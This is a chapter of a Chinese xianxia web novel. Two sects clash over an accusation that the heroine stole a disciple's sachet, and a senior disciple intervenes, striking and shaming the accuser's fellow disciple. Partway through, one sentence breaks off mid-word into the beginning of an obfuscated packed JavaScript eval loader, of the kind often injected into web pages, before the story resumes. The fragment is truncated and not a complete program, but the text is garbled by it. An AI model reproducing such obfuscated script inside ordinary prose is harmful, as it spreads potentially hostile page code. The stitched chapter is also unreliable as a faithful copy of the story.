她面色一沉,随即看向院内咄咄逼人的逍遥峰弟子,冷笑道:“你们逍遥峰借用我们玉苍派的院子休息,大半夜不睡觉吵吵闹闹是你们休息的法子么?” 逍遥峰的男弟子将裴云齐簇拥在其中,女弟子围着仇千水站立,纷纷对玉苍派的弟子怒目而视。 仇千水反问:“楚清季,你说这话时要不要看看楚清妙在做什么?” 楚清季道:“我不用看她在做什么,她是玉苍派的弟子。玉苍派允许弟子晚上睡不着觉在墙头看月亮。” 仇千水冷哼一声:“她看月亮不干我事,但她偷了我逍遥峰弟子的贴身香囊,便关我事。楚清妙痴缠裴师弟,仙门百家谁人不知谁人不晓。如今她又行偷盗之事,保不齐明日就要拿出去败坏裴师弟名声,你们玉苍派得给我们一个说法。” 逍遥峰的弟子也跟着骂起来:“不要脸!被拒绝那么多次了,居然还不死心!” 韩纪再听不下去,她挂在墙上,高声问:“仇千水,你有什么证据证明是我偷的?” 仇千水这才看向她,道:“楚清妙,这还不明显么?裴师弟丢了贴身香囊,而你大半夜不睡觉骑在墙头,不是你偷的,你在墙上做什么?” 韩纪懒得和她掰扯,从墙上跃下,摊开双手站到她身前,冷声道:“来搜!如果你们搜到了裴云齐的东西,你们想怎么办便怎么办。如果搜不到,道歉。” 仇千水立刻叫身侧的两名女弟子上前搜韩纪的身,没曾想搜了半晌,什么都没搜着。 韩纪一穷二白,如今身上唯一的锦囊里放着楚清妙的玉牌,除此之外别说香囊,连个钱袋子都不曾有。 “必定是她偷了放到别处了!”一名男弟子一边高喊一边走上前来要继续搜韩纪的身。 楚清季气愤至极,将韩纪拉到自己身后,推开那名男弟子,怒道:“你们拿出证据来!” 仇千水看向裴云齐,嘴角边浮现一丝笑意,大声问:“裴师弟,楚清妙是如何偷了你的香囊的你可看清了?” 裴云齐从一众男弟子中走出。 灯火摇曳中,他的面容在月光下渐渐清晰,便是楚清季也不禁暗暗叹道:“这裴云齐当真生得俊美,难怪能将楚清妙诓骗了去。” 裴云齐目光在玉苍派弟子面上停留片刻,缓缓落在韩纪身上。 他目露柔情,可那柔情顷刻间烟消云散。 他别过头去,低声道:“若丢了香囊也没什么,只是香囊之中有一只双鱼玉佩,本是我母亲的遗物,说是未来要传给我的妻子,因此我一直随身携带。今日入睡时发现丢失了,我以为落在屋中,便点灯查看。却不曾想一点灯便见屋外有人影闪动,推开门便见楚师妹翻墙而过……仇师姐,我看今日这事也是凑巧,楚师妹虽然从前干了些错事,但这些日子来她已经洗心革面了,这一次我相信决计不是她。” 仇千水尚未发作,一旁的逍遥峰弟子便叫嚷起来。 “就是她!我瞧得清清楚楚,真真切切!我们来到这院子里时,她那双眼睛就一直往裴师兄身上瞟!” “是啊!我们裴师兄可是出了名的美少年,楚清妙必定是想偷了裴师兄的贴身物件出去造谣生事!又像从前一般说裴师兄与她两情相悦,私定终身!” “裴师兄心善,看那楚清妙可怜不愿与她计较才替她开脱,但我们和她可没有半点交情,这样死缠烂打、人品低劣、不知悔改的女弟子我还是第一次见!” 玉苍派的弟子也忍不住回骂,楚清季听得恼火,令师弟师妹们噤声,向仇千水与裴云齐厉声喝道:“光凭你们的三言两语便说楚清妙偷了裴云齐的东西,捉奸拿双,捉贼拿赃,有本事你们将那香囊和玉佩找回来!不要空口白牙在这里诬陷好人!” 仇千水轻笑了一声,转头看向身后的逍遥峰弟子,道:“愣着做什么?没听见玉苍派的楚师姐让你们将香囊和玉佩找回来么!还不给我搜!” 她话声刚落,十余个逍遥峰的弟子便往玉苍派弟子休息的房屋中冲去。 玉苍派弟子慌忙间挡在各自屋前,两派弟子登时推攘扭打在一起,不多时玉苍派弟子便落了下风。 楚清季推开两个想要搜查女弟子房屋的男弟子,拦住想上前的仇千水,怒道:“你做什么!真当我们玉苍派无人了是么!” 仇千水瞥她一眼,笑道:“香囊不在楚清妙身上,便在你们玉苍派弟子房中,究竟是不是她偷的一搜便知。楚清季,你该不会不敢让我们搜吧?” 韩纪重伤未愈,避开几个朝她扑来的男弟子胸中便有如涛浪翻天,但她心知今夜这一遭是冲着自己来的,见四周玉苍派的弟子们还在与逍遥峰的弟子厮打,当即提起一口气来,扯住一个进屋去的男弟子,将他一脚踹进院内。 那男弟子扑通一声摔在廊下的灌丛之中,面庞被树枝刮破,当即滚在院里哭喊起来:“师姐!楚清妙不仅偷东西,还打伤了我,你可要给我做主啊!” 其他逍遥峰弟子见状大怒,纷纷指责道:“你凭什么打人!” “做贼心虚还敢打人,真是无法无天!” 仇千水暴怒,高声叫道:“还不把楚清妙给我抓起来!” 如此一遭,四周搜查的逍遥峰弟子怒气更甚,甩开其他玉苍派弟子,一个两个朝韩纪扑来。 韩纪灵巧地在廊下屋内院中穿梭,好似逗狗一般将这十余个弟子耍得团团转。 正在她单手撑住栏杆准备跳回廊下时,七星鞭忽然从夜色里飞出,缠住了她的手腕。 仇千水奋力一扯,韩纪失去重心,俯身倒下。 眼见着头颅就要在地板上磕开花,楚清季连忙飞身上前将她扶住,谁料仇千水手腕翻转,七星鞭如银蛇一般舞出,又击向韩纪面门。 韩纪下意识伸手去抓,在指尖触及冰冷锋利的长鞭之前,一粒石子从月下奔来。 长鞭击中石子,发出“嗤”的一声脆响,碎屑齐飞,长鞭荡回。 冷冰冰的月光下,仇千水手拿长鞭站在院中,双眼环顾四周,高声叫道:“谁在这里多管闲事!” 便在此时,屋檐上传来一个冰冷的声音:“玉苍派的事,便是我的事。” 楚清季扶住韩纪的手微微松开,面庞之上露出喜色,低声在她耳畔说:“三师兄回来了。” 她话音未落,一道黑影便在檐下闪动。 衣袂翻飞间,廊下站立的逍遥峰弟子接二连三地摔进院子之中,待到那黑影在韩纪身前站定,逍遥峰十余个弟子都已摔在仇千水与裴云齐脚下。 韩纪只觉眼前身影犹如修竹一般立在霜雪之中,心中暗暗惊奇:“玉苍派居然有这样身手出色的弟子?” 仇千水此时也不由得面露惧意,方才这人的身手迅捷无比,仙门道盟年轻弟子中罕见。 她明知不敌,却也紧握长鞭,上前一步问:“你是何人,为何无缘无故伤我逍遥峰弟子?” 来人冰冷的目光如同一把长剑一般刺向仇千水,问:“你们逍遥峰闯我玉苍派弟子住处在先,伤我玉苍派弟子在后,你说为何?” 玉苍派弟子纷纷士气大振,面露喜色,道:“三师兄!你回来啦!” 女弟子更是欣喜非常,个个昂首挺胸,向那些逍遥峰的男子投去轻蔑的目光。 仇千水瞪了玉苍派弟子一眼,说道:“楚清妙偷了我师弟裴云齐的香囊,我们只是来找回。” 她的目光落在男子身上,不由得瑟缩了些许。 三师兄问:“谁看见了?” 逍遥峰弟子无人应答。 仇千水看向那些信誓旦旦,言之凿凿的男弟子,急声问道:“你们不是说是楚清妙拿的吗?一个个愣着干什么,还不快说出来!” 三师兄冷冰冰的目光地落在裴云齐的脸上,语气不善地说:“裴云齐,楚清妙拿你的香囊,你看见了?” 裴云齐避开三师兄那冰冷至极的眼神,颇不自在地回答:“我……没看见。” 三师兄闻言斜睨着仇千水,道:“那就是说,你们逍遥峰在没有任何证据证明我玉苍派弟子偷了一个香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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仇千水见方才那些高喊着是楚清妙偷了裴云齐香囊的弟子纷纷低下头去,便知此事逍遥峰拿不出证据。 本来玉苍派弟子也多是一些酒囊饭袋之辈,此事便是她做错了,这些人也无可奈何,可不知从何处来了一个三师兄要替玉苍派强出头。 先前在碧玺洞中仇千水只听楚清季说:“若是我三师兄在这里,便是一百个你我也不会怕。” 那时仇千水还以为她是装模作样,狐假虎威,却不曾想这位三师兄是真有本事。 思虑之间,仇千水垂下双眼,恨恨道:“今日之事是我没有调查清楚,唐突了玉苍派的各位盟友们,我向大家赔罪。” 仇千水话音刚落,便闻得啪的一声脆响,偏头看去,那人不知何时闪到裴云齐身前,抬手打了裴云齐一个耳光。 饶是韩纪,也被这一遭吓了一跳,她靠在楚清季肩头,偷偷睁开眼睛望去,只见月光之下,裴云齐的头被打得偏了过去,半边脸高高肿起,唇畔也溢出血来。 三师兄收回手来,冷冷道:“今日之事,没有调查清楚是你的错;但没有说清楚就是裴云齐的错了。裴云齐,我再问你一次,你的香囊是怎么丢的?” 裴云齐沉默一瞬,低声道:“香囊该是沐浴之时不慎遗失了。” 三师兄又问:“是我玉苍派弟子楚清妙偷的吗?” 裴云齐答道:“不是。” 此时所有人的目光都落在裴云齐与三师兄的身上,眼见着裴云齐答完话,三师兄的手又扬起来,仇千水下意识出鞭去挡,却不曾想三师兄一手按住了裴云齐的肩膀,另一只手高高扬起。 长鞭击中裴云齐背部的瞬间,啪的一声脆响响起,待到仇千水扶住裴云齐摇摇欲坠的身体,他的双颊都已经高高肿起,背部衣裳被长鞭打烂,露出里头紫红色的鞭痕。 三师兄看着裴云齐,冷冷道:“五年前我同你说过的话,你是半点也不记得了。” 裴云齐闻言低下头去,不敢看三师兄的眼睛。 韩纪一听,心中生疑,举目四望,发现场上众人也都是一脸诧异,毕竟谁也没想到这位三师兄竟与裴云齐相识。 仇千水愤怒至极,想与他争辩,他却慢悠悠道:“既然你已经出鞭责罚了此次事件中挑起两派争斗之人,我们玉苍派也不再计较了。” 仇千水被他的话堵住了嘴巴,颇为心疼地看向裴云齐。 三师兄的目光也落在裴云齐脸上,冷声问道:“裴云齐,你今日言语不清挑动两派弟子争斗,我方才打你两个耳光作为惩戒,你服还是不服?”